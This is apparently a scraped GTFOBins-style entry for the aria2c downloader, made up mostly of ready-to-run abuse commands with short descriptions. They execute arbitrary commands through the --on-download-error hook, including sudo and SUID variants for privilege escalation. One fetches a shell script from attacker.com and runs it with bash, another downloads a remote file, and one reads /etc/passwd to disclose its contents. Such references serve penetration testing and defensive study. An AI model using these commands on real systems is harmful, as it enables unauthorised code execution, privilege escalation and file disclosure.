| code |
| COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
aria2c --on-download-error=$TF http://x
|
|
| description |
code |
| The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID. |
aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa |
|
|
| description |
code |
| Fetch a remote file via HTTP GET request. Use `--allow-overwrite` if needed. |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
aria2c -o "$LFILE" "$URL"
|
|
|
| code |
| COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo aria2c --on-download-error=$TF http://x
|
|
|
| description |
| It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system. |
|
| code |
| LFILE='/etc/passwd'
aria2c -i $LFILE
|
|
|
| code |
| COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
./aria2c --on-download-error=$TF http://x
|
|
|
